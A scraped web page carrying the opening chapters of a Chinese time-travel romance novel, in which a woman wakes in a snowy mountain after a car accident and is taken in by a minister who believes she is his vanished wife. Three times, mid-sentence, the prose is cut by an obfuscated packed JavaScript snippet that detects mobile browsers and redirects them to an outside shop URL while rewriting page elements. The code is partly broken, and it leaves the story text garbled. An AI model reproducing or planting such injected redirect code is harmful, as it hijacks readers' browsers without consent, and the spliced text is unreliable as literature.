《安和九年春雪》 1. 小雪 这实在是过于荒唐了。 回想起之前的事,那不过是一场车祸。 安声能够接受自己睁眼看见的,是街上混乱喧嚣的行人,是医院冷肃匆忙的医生,甚至是地府勾魂索命的黑白无常,十殿阎罗。 却怎么也想不通,为何自己会穿着一身薄薄外套,出现在落雪的无人深山。 她哆哆嗦嗦地从地上爬起来,检查了自己并无外伤,对眼前的景象感到惶惑。 山中草木枯青,落着薄雪的枝头,已有抽芽迹象,想来是初春时节,与她的记忆一致。 她梳理着混乱的思维,记忆无论如何都停留在失控的卡车闯过红灯撞向她的那一幕,刺耳的鸣笛划破长空,震得她心脏生疼。 ……然后呢? 中间是发生了什么她所不知道的事吗? 她难道丢失了一段记忆吗? 还是说,这是一个梦境? 春寒料峭,陡然一阵冷风袭入骨髓,安声裹紧外套牙关打颤。 不,这肯定不是梦。 没有体感如此真实而思维如此清醒的梦。 事已至此,她来不及多想,人在逆境中迸发的求生本能压下了当前的恐惧,只能匆忙寻找生路。 这座深山看来平日少有人迹,但也不至于荒无人烟,因为她环顾四周,寻到了一条被人踩踏出来的泥泞小路,只是杂草丛生,又落了雪,乍看不起眼,还有些湿滑。 她小心走着,裤腿被雨雪打湿,双脚更是失去知觉,冻得思绪迟滞,已无暇顾及现下发生的一切不合理之处,她有些空白的脑海里,只不停向各路神佛碎碎念着,祈求自己尽快得救。 大约她的祈求真有用,她竟在掩映的山林深处,见到了一座小木屋。 愣了好几秒,她才回过神来,她看见的不是幻觉,于是惊喜之下抬脚向那木屋跑去。 不料脚下一滑,结实跌了一跤,摔得不轻。 浑身冷痛,艰难起身时,掌心已被裸露的山石擦破,还沾满了淤泥。 安声深吸一口气,扬起头来,被树枝分割的支离破碎的灰白天空,此时竟又下起了小雪。 她眼眶一热,泪水涌了出来。 “太倒霉了……一个人怎么会这么倒霉……” 遭遇那场车祸前,她刚从公司办完离职手续。 从公司出来,她打开手机联系人,在爸妈的备注上都停了一会儿,最终没有拨出去。 父母离异很多年,她跟着外婆长大,和他们都不太亲,直到大学毕业后联系才稍多一些。 父母各自再婚后,与她除了年节问候及平时三两句的公式寒暄,也只剩下了催婚这件事,令她不胜其烦。 过马路时,微信上正收到妈妈发来的消息,她打开一看,又是不知道从哪里推来的名片,还附带了三条几十秒的语音。 她刚要点开,那辆失控的大卡车就撞了过来……然后…… 视线回笼,落在眼前斑驳陈旧的木门上。 安声在门前停住,先用衣袖擦干眼泪,接着吸了吸鼻子,抬起手,轻轻敲了几下。 “请问,有人吗?” 无人应答。 没人? 安声心想要是没人她只好不请自入了,紧急避险时也顾不上礼貌。 于是她又敲了一次。 “你好,请问……” 这次话未说完,木门忽地吱呀一声开了,门外风雪争先恐后地向内涌去,屋中昏暗,安声一时还未反应过来,便猝不及防地落入一个温暖宽广的怀抱。 淡淡的白梅香混合着草药的清苦,在体温中氤氲着,一一驱散了她周遭的寒意,挡住了所有风雪,将她隔绝在了一个柔软和暖的天地间,让她没来由生出无与伦比的安全感。 在灵台逐渐清明时,她听见狂乱的心跳,急促的呼吸,他们混合着压抑的呜咽一同轻轻落在她耳边。 “阿声……安和九年,你果真回来了。” 这声音轻得几乎一碰就碎,哽咽着发颤,若非太近,安声险些没有听清。 她尚未明白何意,便率先被一股汹涌的情绪浪潮所淹没,于是怔了怔,才用力推开了那人,疾言厉色。 “你干什么?!我不认识你!” 那人踉跄后退两步,站定在逆光中,门外风雪裹挟来的天光,笼罩了他半副身躯。 她不禁愣住。 这是一个年轻男人,且毫无疑问,长得十分英俊,只是稍显气色不足,天光映照下,肌肤尤为苍白,仿佛大病初愈,透着清弱感。他个子很高,又着一袭青袍,玉冠墨发,静静立在那儿,宛如一棵覆了雪的玉松。 但让安声愣住的不止他出色的长相,更是他的穿着打扮。 古……装?汉服?剧组拍戏? 她近乎下意识转头看向门外,远处青黄重叠,在烟雾般的小雪中如同流动的水彩,近处草色明晰,延伸到小木屋门口的青石板上,唯有她那行深深浅浅的脚印正被雪色渐渐掩埋。 显然,这里除他们外,没有其他人。 车祸,雪天,无人深山,一个奇怪的男人。 她本能退后几步,手背在身后扣紧门框,警惕地望着对方。 风雪阵阵袭来,她忍不住缩了缩后颈,方才从男人那得来的一丝暖意也被风吹散,手也不知是冷是痛,只是和身体一齐发抖。 “阿……” 男人动了动唇,最终消声,似是怕惊扰到她。 他沉默一瞬,压下紊乱的气息,转身拾起一旁的斗篷递给她。 “别害怕,安声,我不是坏人。” 他的嗓音很好听,轻而柔,只是有些沙哑。 大约要使安声放心,他往光下走了一步,颀长的影子扯在身后摇晃,很快沾了层薄雪,又化成冰冷水珠。 安声与他四目相对,完全看清了他的模样。 他有一双很漂亮的眼,却浸透了疲倦的血丝,仿佛许久没有睡过一场好觉。 冷风使安声再度瑟缩,视线便落在他拿衣服的手上。 他的手苍白修长,分辨不出血色,几与那件雪白斗篷融为一体,又实在瘦得狠了,每一寸骨骼都分明到近乎锋利。 “……谢谢。” 她冷静下来,低声道谢,接过了这份好意。 事已至此,也没什么好办法。 屋中不大,不远处放有一个炭盆,一个火炉,没有明火,但几块炭余温尚存,持续散发暖意,斗篷一直在炭盆旁烤着,所以这会儿十分和暖,一上身便让安声轻呼了口气。 “坐一会儿吧,别着凉了。” 左时珩的目光愈发柔和,语气仍是轻轻的。 “嗯,谢谢。” 安声裹在宽大的斗篷下,朝他点了下头。 许是从这个男人身上她感受不到一丝恶意,又或者他的眼神让她有种说不清道不明的感受,她渐渐放松了些,向炭盆旁走去。 左时珩则大步走到门边,缓缓关上木门,请风霜雨雪止步于外。 炭盆旁有两张竹椅,像是提前准备好的,安声迟疑了下才坐下。 她回头望了眼,男人高大挺拔的背影立在门边,逐渐闭合的光线压缩着他的轮廓,像日沉西山时的谢幕。 她低下头,心脏蓦地有些闷闷的,说不上来为什么。 “喝点水吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692006|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 回过神,她撞进男人温和沉郁的眸中,他正朝她递来一杯热茶。 她伸手去接,之前掌心的擦伤被冻得麻木了,所以不觉,这会儿暖起来开始火辣辣的疼了,尤其是一碰到热热的茶杯,更是火燎了一般,她条件反射地缩回了手,轻“嘶”了声。 左时珩立时皱起眉:“我看看……” 他很自然地托住她手,用指腹轻柔摩挲着她的手背。 安声愣住。 他似是也意识到了什么,压下纤长的眼睫,慢松开手。 “……抱歉。” 他起身走向木屋里面的卧房:“伤要及时处理一下。” 他离去太快,安声没能窥到他眸中翻涌不息的痛苦。 她只是有些奇怪。 很奇怪,哪里都奇怪。 所有的事和人都奇怪得没法解释。 她的思路开始变得清晰,打量起这一方木屋,小小的厅堂连着一间卧房,虽小却收拾得干净整洁,摆放着些必备的生活物资。 越观察心越发沉了下来——她竟然找不到一丝现代的痕迹。 荒诞,太荒诞了。 左时珩提着药箱出来时怔了怔,他看见安声正静静站在窗边,用手指在窗上描摹勾勒。 听到动静,安声转过头看他,似乎有些好奇。 “这是什么?” “明瓦,将贝壳磨得薄薄一层,既遮风又透光,保暖也更好。” 左时珩的眼神从窗上那颗爱心形状上一扫而过,染了些笑意,“手不疼了?” 安声展示般地抬起双手:“只是擦破了点皮,不是很严重,就是有些脏,你这里有清水方便我洗个手吗?” “等我一下,你先坐过去烤一会儿火。” 左时珩将药箱放在一旁,往炭盆里添了两块炭,然后走到屋角的水缸前,往一口壶中舀了些水。 他拎着水壶和瓢走回来,替换了原先小火炉上的茶壶。 安声坐在他对面椅子上,抱着斗篷伸手往炭盆上烤着火,也时不时观察着他的动作,所以他一看过来,她便注意到。 “这里是你一个人住吗?” “嗯,不过我不长住于此。”左时珩点头,往原先那杯倒给她的茶里又添了些热的茶,而后将茶杯重新递给她,“温度正好,小心别碰到伤口。” 安声接过,慢慢抿了几口,茶香浅逸,温暖细流顺着喉咙淌入四肢百骸,最后一点寒意也被发散了。 左时珩不紧不慢地拨弄着炉中炭火,水烧得很快,不久便有白雾袅袅升腾。 安声隔着这层雾气望向他,朦胧似梦。 她一肚子的疑问终是忍不住。 “请问……这是哪儿?” “京外云水山。” “那现在是何年何月?” “安和九年,春三月。” 左时珩耐心答着她的问题,嗓音低沉,带着些安抚的意味。 得到的答案让安声懵住,全是陌生的词汇。 什么云水山,安和九年…… 她想起眼前这人一见面似乎就喊了她的名字,又忙追问:“那你是谁?为什么你好像认识我?可我从没见过你。” 左时珩氤氲在水雾中的身形微微发僵,又很快若无其事般。 他并未像方才般立时回答,而是从袖中取出一方干净帕子,用烧热的水倒在瓢中濡湿了,才缓缓抬眸碰触她的目光。 他墨黑的睫羽好似被水雾沾湿了,连视线也一同发潮。 但他仍然没有回答她的问题,只是温和地笑了下,朝她示意。 “手,我先帮你上药。” 2. 雪停 安声愣了下。 按她的性格本应该拒绝的,但鬼使神差的,她没有这么做。 她将手轻轻伸了过去:“谢谢。” 左时珩摇了摇头,用湿了温水的手帕一点点细心地清理她手上的泥土。 “别紧张,安声。”他柔声说,“我会把所有事慢慢告诉你的。” 或许是他的语气太过温和,安声内心的不安与焦躁稍稍平息下来,注意力落在他的动作上。 左时珩洁了几次帕子,直到将她手上沾到的泥土全部擦拭干净,然后将这些放在一旁,拿了那药箱放在脚边。 药箱里有些瓶瓶罐罐和纱布,一打开便逸出浓郁的药味。他取了其中一个不大的罐子,解开盖子里面盛着膏体,他擦了手,用竹片舀了些蹭在指腹上,对她说:“上药时或有些疼。” 安声手指微蜷,下意识紧张起来。 正要做心理准备,忽听他开口:“我姓左,名时珩,年二十九,现任工部尚书位,在京中有一座宅邸。” 安声注意力一下全被他的话吸引过去,甚至没察觉到他温热的指腹落在她伤口上带来的不适。 他说话简约,三两句便能概括重点,所以没多久安声便大致了解了她所处的现状。 按照左时珩所说,他的妻子于五年前忽然舍下他与两个孩子凭空消失了,消失前曾对他说,她会在安和九年三月再次出现在云水山,要他来此寻她。而今年正是安和九年,眼下便是春三月,左时珩如约来到云水山,在这里遇见了安声。 “所以……”安声恍然,“你把我错认成了你的妻子?” 左时珩未接话。 安声道:“虽然我也不知道为什么会有同名同姓还长得很像这种巧合,但你真的认错人了……” 她纠结了下,决定也坦诚相告。 “你看我的穿着打扮,与你截然不同,应该能看出来我和你妻子不是同一人吧?我……其实我也不知道怎么就到了这里,我甚至完全没听说过这个地方、这个朝代,也真的不认识你。说实话,我现在感觉就跟做梦一样,特别不真实。” 左时珩抬起头,疲倦的眼中仍是柔和的笑。 “好了。” 安声一怔,低头看了眼,发现不知何时他已经替她将伤口包扎起来了,她一点都没感觉到疼。 他又问:“饿了吗?我去做些吃的。” 不说不觉得,一说安声就觉得腹中空空,肚子很合时宜地响了几声,她想委婉拒绝都没借口,只得讪笑:“会不会太麻烦你……” “不会,这个时辰我本来也要做饭的。”左时珩微微一笑,收拾了药箱等物,转身欲走时,又回头道,“安声,无论真相是什么,慢慢来就好,不用有任何负担。” 这句话像根羽毛轻飘飘地掠过安声心尖,扫去了将将滋生的负面情绪。 她缓缓靠向椅背,缩在温暖宽大的斗篷里,望着窗外发呆。 不知何时风雪已停,暮色四合,寂寂雪色染成了蓝调,渲染出一幅静谧祥和的画作。 她将左时珩说的话在脑中梳理了一遍,低头看向被包扎得很好的手,然后避开伤口,在手腕上狠掐了把。 嗷!疼…… 看来真的不是梦。 但她要如何接受这种莫名其妙天马行空只会发生在幻想作品中的事,就这么在她身上……真真切切地发生了。 * 院中另有一间小小的厨房,与厅屋小门相连。厨房中搭有灶台,置有水缸,米缸,碗柜,角落里摆着一个竹筐,里面是些耐储存的蔬菜。 左时珩生了火,又挽起袖子,从米缸里取了米淘洗好,放进灶上煮着,而后俯身从筐里择了几样菜,一一清洗,去皮,切好,分装在一旁。 安声进来时他正取下房梁上吊着的一节熏肉。 “要……帮忙吗?” 左时珩顿了下,从容解下草绳,拿着那块肉对她笑道:“可以帮忙去柜中挑你喜欢的碗碟。” “喔,好的。” 安声走到他示意的碗柜旁,打开上半部分的柜门,里面有四层,摆放着不同大小的碗碟和竹筷。 “你一个人住,怎么放这么多餐具啊?” “偶尔会有山中猎户或采药人进来歇脚,不便与他们共用。”左时珩站在灶台前,利落地将那块熏肉切片,“第二层,你可以往里看看。” “往里?” 安声将几个盘子端出来放到一旁,偏头觑了眼,伸手进去摸索,竟打开道暗格,暗格里是一套全新的碗碟,连筷子都没有使用痕迹。 “诶?” 这套碗碟与其他不同之处在于其上刻有图案,而且还挺……特别? 她不知如何形容。 小猫扑蝶,小狗玩水,小兔子吃草,甚至那双崭新的竹筷上都用极为生动纤细的笔触,刻画了两只大熊猫吃竹子。 安声诧住。 她很喜欢小动物的可爱风格,家里的餐具也是这种类型的,但是出现在这里,真是让她有种莫名的诡异感。 这个朝代也有这种画风?还是说只是巧合?…… 她不由看向左时珩。 后者已经备好菜,走到墙壁前,上面挂着条围裙,他双手半举着,似乎有些为难,便转头以求助的目光投向安声。 “可以帮个忙吗?” 安声眨了眨眼,顾不得问,将餐具赶紧放到一旁,过去取下那条围裙。 “多谢。”左时珩在她面前弯腰低头。 距离一下近了,他身上清冷的气息围绕过来,淡淡的白梅香被淹没在药味的清苦中,纤长睫羽向下倾垂,掩去了眸中的倦怠与温和,眼睑下薄薄淤青倒更明显了。 安声的视线滑过他清隽眉眼,高挺的鼻梁,落在血色清浅的薄唇上…… “嗯?”见她久无动作,左时珩不解地抬眸。 安声尴尬,赶紧将围裙系上去,耳后已不可遏地晕出绯色。 心中腹诽自己没见过帅哥啊,却又忍不住自问自答:确实没见过这么帅的,还是这么中式传统的帅。 她绕到他身后,帮他将围裙系好,又踮起脚将他墨黑的长发拨出来。 “咳……好了。” 左时珩轻轻一笑,再次向她道谢。 锅热,倒油,时蔬清炒,烹饪的香味激发出来,充满了整间厨房。 左时珩做饭自然熟练,游刃有余,安声似乎帮不上什么忙,她站在一旁看了会儿,目光又不禁落到他露出的小臂上。 他的小臂遒劲有力,只是肤色苍白,青筋毕现,又太瘦削,便仿佛除了骨头就是肌肉,没有多余的脂肪。 因湿了水,随着炒菜的动作,水痕顺着脉络流淌,还有些水珠欲落未落,实在很具有观赏性。 不知是否安声的眼神太过直白,左时珩往她这边看了眼。 安声立即瞥向他处,主动闲聊掩饰心虚。 “这间山中小院,是你自己造的吗?” “是。” “真厉害。”安声真心赞了声,想想又道,“也对,你是工部尚书,那就是……干土木工程的。” 说罢她反应过来,准备换个词,却听左时珩笑道:“不止是。” “嗯?” “工部事务繁杂,涉及面广,不止是土木。” 他听得懂?……安声一想好像也不奇怪,毕竟土木工程按字面意思也不难理解。 她随口道:“那你这么忙,还有空来山里住啊。” 肉下锅,滋啦一声,油水飞溅,安声吓了一跳。 左时珩替她挡住了,提醒道:“站远些,别被烫到。” 安声无事可做,干脆脱了斗篷绕到灶后帮忙烧火。 左时珩偏了偏身子:“干柴有些毛刺,小心些,也别碰到手上的伤。” “好的,谢谢。” 安声抬头,对上他那双眼,烟熏火燎间,他温柔笑着,明亮的光彩便从沉重的疲倦中透出来,仿佛枯木逢春,寒水生花,叫安声看呆了瞬。 等几道菜出锅,饭也差不多好了。 左时珩原想出声唤她,却见她正托腮坐在小凳上发呆,长发散落下来,余烬的微弱火光在她灵动的眉眼上轻轻跳跃,美好得仿佛一副仕女图。 他忽然舍不得出声,静静瞧了好久。 她说,感觉就跟做梦一样。 于他……又何尝不是。 “怎么了?……”安声视线聚焦,“还要添柴吗?” “不用。”左时珩颔首笑,“饭好了,一起吃吧。” 天黑的很快,他在厅屋点起油灯,橘黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692007|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的光拢起来,是这片冷寂深山中的唯一暖色。 安声坐在桌旁再次观察起她可爱的碗,碗底有印,写着安和六年靖州窑造。 “不是饿了么?怎么不动筷子?是不合口味?” 左时珩的脚步声响起。 安声抬头,见他高大挺拔的身影自浓郁的阴影里走来,宽袍长袖,墨发玉冠,当真肃肃如松下风,高而徐引。 “等你一起。”她笑笑。 等左时珩大步过来落座,她才夹起一道菜浅尝,方入口,不禁眼一亮,又去夹别的,实在没想到每道菜都莫名合她胃口,再加上她早就饿了,因而一时也顾不得面子,大块朵颐起来。 “慢点吃。”左时珩摇头笑,“不然晚上可睡不好。” “哦……嗯嗯。” 安声应着,有些不好意思,“但是你做的菜真的很好吃。” “山中没什么食材,等回家了,给你做更好的。” 回家? 安声夹菜的动作一顿。 是要她跟他回家的意思吗? 难道真把她当他妻子了? “我……”她皱眉。 吃人嘴短,她一下都不知要怎么开口了。 将最后一点饭扒完,她才语气真诚地向他解释:“左大人,非常感谢你的招待,但我真不是你的妻子,如果要回家的话,我想回自己家,不过不在云水山,甚至不在丘朝,你……能理解吗?” 出乎意料的,左时珩并未因她的拒绝表现出生气或伤心,他依然平和。 “嗯,理解。” “在……”他似乎斟酌着表达,“现代,对吗?” 安声的眼立时睁得浑圆,通体触电般炸了毛。 他笑望向安声,灯下眉眼深邃而温柔。 “我的妻子的确是从另一个时代而来,我和她的相遇是一场奇妙的缘分。” 他没有多说,只温声道:“不要紧,安声,我明日还有一天休沐,可以陪你在云水山中寻回去的路,若是暂寻不到,你再随我回家,好吗?” 安声不置可否,她全然被他方才的话惊住了。 他的妻子不但和她同名同姓,容貌相似,甚至也是穿越的? 天下有这样的巧合吗? 她没有双生姐妹啊。 可她……可她真不是他妻子,她没有半点与左时珩相处的印象。 回顾她二十四年的人生,直到被那场意外的车祸送到这里前,每一段都是十分清晰的,并没有记忆断档过。 她实在有些混乱了。 混乱到她一整晚都没睡好。 小屋只有一间卧房,床铺收拾得干净整洁,左时珩让给了她住,怕她冷,炭盆也挪了进去,自己则在厅屋的竹椅上将就了一晚。 天蒙蒙亮,她听到他咳了几声,心里愈发愧疚,本也没睡好,干脆坐了起来。 左时珩大约也没怎么睡,她走出卧房时,他已在厨房洗手作羹汤了。 今日天气晴好,昨日的雪化了许多,两人用过早饭后,一起离开了小院。 安声循着记忆沿来时的路走,这段路很短,她很快就走完了,可四下山林茂密,青黄交接,并无半点异象。 她不死心,在附近转悠了好几圈,依然没有丝毫头绪,内心愈发焦躁起来。 再次回到她来时的地点时,左时珩正静静站在林下等她,艳光灿灿,碎影摇曳,像一幅流动的水墨画。 不知为何,望见他关切的目光,安声的眼泪竟一下掉了下来。 “左时珩,我不知道怎么来的……也不知道怎么回去……”她伪装的坚强外壳在此刻簌簌剥落,崩溃地原地蹲下,掩面哭道,“更不知道现在要怎么办了……” 离职,催婚,车祸,还有莫名其妙的穿越……她的弦快崩断了。 “安声。” 左时珩走过来,在她面前蹲下,轻轻唤她名字。他的声音春风般和暖,听来使人安心。 安声抬首,眼眶红红,梨花带雨。 左时珩蹙起眉,眼底是一片难掩的心疼。 “相信我吗?” 安声望着他,片刻,轻轻点了下头。 “好。”左时珩向她伸出手,指尖克制地停在她几寸远,眸光温润,“那要不要……先跟我回家?” 3. 缓归 安声答应了左时珩,随他下山,回家。 她想,如果这的确不是一场梦,那左时珩就是她来到这个陌生认识的第一个人,也是唯一能信任的人。 那座山中小院虽是他造,他离开时却未带走什么。 只有一箱书,几件衣裳,还有那套……特别的餐具。 安声问:“这么多东西都不要了吗?” 他说:“嗯,以后不必再来了,这座小院便留给山人歇脚吧。” 说这话时,他一直看着安声,眼里透着温柔笑意,是那样沉重的倦意也盖不住的华彩。 安声却挪开了眼。 她觉得,他在透过她去看他的妻子,这不是她应该得到的眼神。 这不太对。 马车在官道上平稳行驶着,车轮压在路面楞楞作响。 车窗的帘子被拨开,一张明媚的容颜探出来,左顾右盼,片刻后又缩回去,从另一边探出。 左时珩坐在车内,捧着一卷书,抬头笑了笑。 虽然一个时辰前她还在哭着向他说自己很无助,但这会儿就已经将恐惧不安全然抛之脑后了。 她向来如此,无论面对什么,总适应得很快,再逆境也依然盛放,炽热而鲜活。 她亦时刻充满好奇,连见到马车都绕了三圈来仔细打量,还戳戳他的衣袖,说:“左时珩,这是真马和真马车!” 纵然已见过妻子千般可爱,左时珩依然时时为她心动。 与在岁月中沉淀出的温婉从容相比,最初的她原来更多是天然去雕饰的率真灵动。 他们的女儿……很像她。 “左时珩。”安声蓦然出声,悄悄拉回了他的思绪。 他方注意到她不知何时已对马车外的景色失去了兴趣,转而将脑袋凑到了他面前。 “嗯?” “你在看什么书啊?” “《河防通议》。”他将书转向安声,“是历朝历代一些治理黄河的经验。” 安声习惯性从左往右看,反应过来又从右往左看,然后坐了回去。 “我平时也爱看书,但这种文言文看着还是费劲,你自己看吧,我不打扰你。” “无妨。”左时珩笑笑,将书收了起来,“读书总能得空的。路途稍长,你闲着也是无趣。” 这倒是,安声坦诚点头。 古代根本不如她想当然那般无污染无公害,所以风景优美。相反,一路驶来,她见到郊外大片地荒着,树林也有些光秃秃的,只有杂草随意疯长,间或夹杂一些农田,实在没什么可看的。 此番景象倒是有些出乎她的认知了。 见左时珩收起了书,大有陪聊的架势,她便问了几句。 他道城内营建皆需木材,几代下来,郊外那些山上有些年份的古树早已伐完,如今工部为圣人修建皇陵时,品佳的木料甚至要从千里之外运来,费时费力费人。 “更费钱。”安声接话。 “不错。”左时珩无奈道,“所以工部与户部的官员常在朝堂上吵翻天,双方唇枪舌战,连皇上也不能平息。” “为什么?” “他们管钱,又很抠门。” 安声一愣,随即笑出了声。 左时珩和她对古人的刻板印象还真是不同,很……接地气,她便又好奇追问:“那你也会和他们吵架吗?” 左时珩一本正经道:“难听的话我一般回家偷偷说,毕竟在外终归要些面子。” “哈哈哈……” 这话让安声更是笑个不停。 想不到左时珩外在清冷温柔,内里却有一份反差。 莫名的,她觉得他们的距离一下拉近了。 她下意识与他分享:“我在领导面前也是‘好好好是是是,哎哎您说,收到,马上就改’,回头就在小群里吐槽八百遍,然后有一次不小心发到公司大群里去了……” 嘴比脑快,说完她才回过神,望着左时珩没继续。 左时珩却很认真在听:“然后呢?” “然后……”安声眨了眨眼,“你听得懂啊?” 他笑道:“不要紧,你尽管说便是,若有不懂的,我会问你。” “是因为……你妻子和你说过类似的话?” “嗯,我们之间坦诚相待。” “喔——” 安声抿唇点头,僵硬地坐直身子。 她此刻有些尴尬,因为忽然意识到与一位有妇之夫分享自己的私事并不合适。 于是她跳过了这个话题,向他问起:“之前你提过,你有两个孩子,我这样贸然造访,对他们会不会……不太好?” 她毕竟不是那位“安声”,却顶着一张相似的脸与相同的名姓出现。她既不可能以左时珩妻子自居,也绝无可能假装他们的母亲。 左时珩不知在想什么,身形随马车轻轻摇晃着,眼神也有些散,片刻才温和开口。 “不必担心,我会与他们说的,他们……” 他目光重新聚焦,定定望着安声,那双爬满血丝的眸泛起些微潮意。 “他们,会很喜欢你。” 马车行速渐缓,停在城门外。 左时珩让安声留在车内,自己下了车。 到底是皇城,交通贸易已十分发达,具有相当的人口规模,因此进进出出的百姓络绎不绝。安声掀起帘子一角漏只眼悄悄观察,内心为如此活色生香的古代王朝掀起巨大波澜。 左时珩向城门守卫亮了腰牌,对方态度立即变得恭敬许多,他摆了摆手,正要回转,忽被一人叫住。 来人中等身材,灰蓝长袍,头戴方巾,朝他拱手笑道:“左大人这是又去山里苦修了?” 他稍一打量,“呀”了声:“左大人虽病容犹存,精气神却好了不少,看来苦修还真有用啊,怪不得平日公事繁忙还要月月都去呢。” 这人是户部右侍郎申哲,与左时珩同朝为官,户部工部向来算不得和谐,碰上难免挖苦两句。 左尚书近几年每逢休沐便出城进山一事在朝野已不算秘密,自他夫人失踪,左时珩身体每况愈下,众人私下都道他是心伤过度,进山避世,连皇帝都来过问,还指派了太医登门问诊,要他珍重自身。 左时珩咳了几声,喑哑道:“是,已修至大圆满境界,申大人要拜师么?” 申哲一噎,翻了个白眼:“拜师……我拜什么师,我身体好得很!”见他脸色稍差:“左大人看来还得再修行修行啊!” 都说左尚书年纪轻轻话不多,这倒不假,但挺会打机锋的,几句话就能让人气闷,和工部廷臣说话他简直要折寿。 申哲不想多说,欲走前道:“我敬左大人乃治世之能臣,还是想好心提醒一句,莫要太过缅怀旧情,毕竟不说国事,家中还有两个幼子呢。” 阳光明媚,杨柳抽芽,入目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692008|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所及,已是一片勃勃的生机。 左时珩嘴角散开笑,眼亦明亮:“谢申大人好意,春雪消融,我已不必再去云水山了,不过关于我的妻子,那并非是一份旧情,我已接她归家。” 他回头看向马车,申哲便随他的视线望去,不远的马车上,一位娇俏姑娘正探着脑袋朝这边张望,见他们看过来,还礼貌挥了挥手。 申哲讶然。 当年左尚书的妻子无故失踪,连圣上都有耳闻,特意让京都衙门协助调查搜索,偏偏就是生不见人,死不见尸。这几年左时珩人渐消瘦,常在病中,所有人都心知肚明,他夫人安氏大约已经故去,否则不会抛夫弃子人间蒸发,只有左时珩执拗在等,谈及此事也不避讳,只从容说夫人离家而已,会回来的。 没想到……还真回来了。 他啧啧称奇:“左大人憔悴许多,夫人倒是看着比当年还要年轻,真是奇也怪哉……莫非你们夫妻两个一起在山里苦修?” 左时珩收回目光,眸底透着笑。 “是啊,所以,申大人真不拜师?” 申哲:“哼!……”拂袖而去。 左时珩一回,安声便好奇问:“是遇见熟人了吗?” “是户部的一位大人……不算太熟。” “户部?岂不是常和你们吵架的那个?” 左时珩低笑了声,马车重新行驶,缓缓穿过城门。 “我在外面不会吵架。” “我懂,要面子嘛,不过完全不会吵架也很吃亏啊。左时珩,那他刚刚言语上欺负你了吗?” 左时珩正欲否认,却又忽然改了主意,眉峰微蹙,轻叹了口气。 “向来如此,我已习惯了。” “别习惯啊,这种事怎么能习惯?”安声正义凛然,“早知道我刚刚就下车帮你了,反正他也不认……诶,他认识我吗?” 左时珩犹豫了下,点头。 “看来我长得真的很像……” “安声。” “嗯?” 左时珩眸光温润,马车空间狭小,他身上的清冷的白梅香合着淡淡苦味,愈发明晰。 “若是不喜欢,我便与他们解释。” 安声怔了怔,笑着摆手。 “嗐,我没那么矫情,像就像呗,只要你分得清就行,这种离奇的事对外人是解释不清的,反倒自找麻烦。” 一聊起此事她便有些不自在,说罢也不去看左时珩什么反应,转头看向马车外,不过瞬间,她便真切被眼前所见完全吸引住了。 街道两旁店铺鳞次栉比,正店脚店比比皆是,又或酒肆茶舍,药铺钱庄,各式幌子挂满高墙,随风飘扬。 又听小贩沿街叫卖,小摊吆喝不断,牛车、马车时时经过,还有异域胡商牵着骆驼驮满了货物。 一时人声鼎沸,却见是杂耍卖艺,喝彩锣鼓之声错落有致,实在精彩。 安声被眼前呈现的这幅无比鲜活的古代市井图景所震撼,立即就忘了方才的尴尬,兴奋地扯了扯左时珩的衣袖。 “有机会我能上街逛逛吗?” “当然,现下就可以,要去吗?” “要!” “好。” 左时珩吩咐了车夫几句,马车停在一处人少巷口,他率先下了车。 安声拨开帘子欲下时,他几乎是出于本能的,自然且熟练地揽住她腰,将她稳稳抱了下来。 4. 回家 安声反应过来时,自己已站在了地上,她大脑空白了瞬,心脏砰砰跳起来。 不过未等她说什么,左时珩已向她道歉。 “是我失礼了。” 安声讪讪,退开了几步。 “嗯嗯……没事。” 虽然情感上她能理解,左时珩对妻子的思念让他容易情不自禁,但理性和道德上,她认为还是该保持好边界。 “我们去买点东西吧,我现在这身打扮有些不太合适。”安声裹紧了斗篷,将一身休闲外套遮严实了,“我还想买点礼物,不知道你的孩子喜欢什么,这么空手上门也不好。” 但是—— 她往前走的脚步一顿,忽想起她在这里没钱。 ……刚刚还说的那样信誓旦旦的。 她脚趾蜷缩,颇有些尴尬地转头道:“左大人,钱……就当我跟你借的吧。” 左时珩点头笑:“好。” 虽说是“借”,但安声暂时并未有什么“还”的渠道,因此这钱也实难花得安心,便只去成衣铺子简单给自己选了两套衣裙就罢,剩下的时间都在给小孩挑礼物。 她对小孩的喜好不太了解,只能想到吃的玩的,左时珩的一双儿女乃是双生子,今年九岁,对标一下就是四五年级的小学生,印象中她与这般大的孩子相处的经验,只有去父母那边时,见到的他们再婚后的孩子,不熟,不乖,还有点烦。 说来,她应该算是不喜欢小孩的那种人。 “衣裳玩物不必,家中不缺,实在想买,就多些吃食吧。” 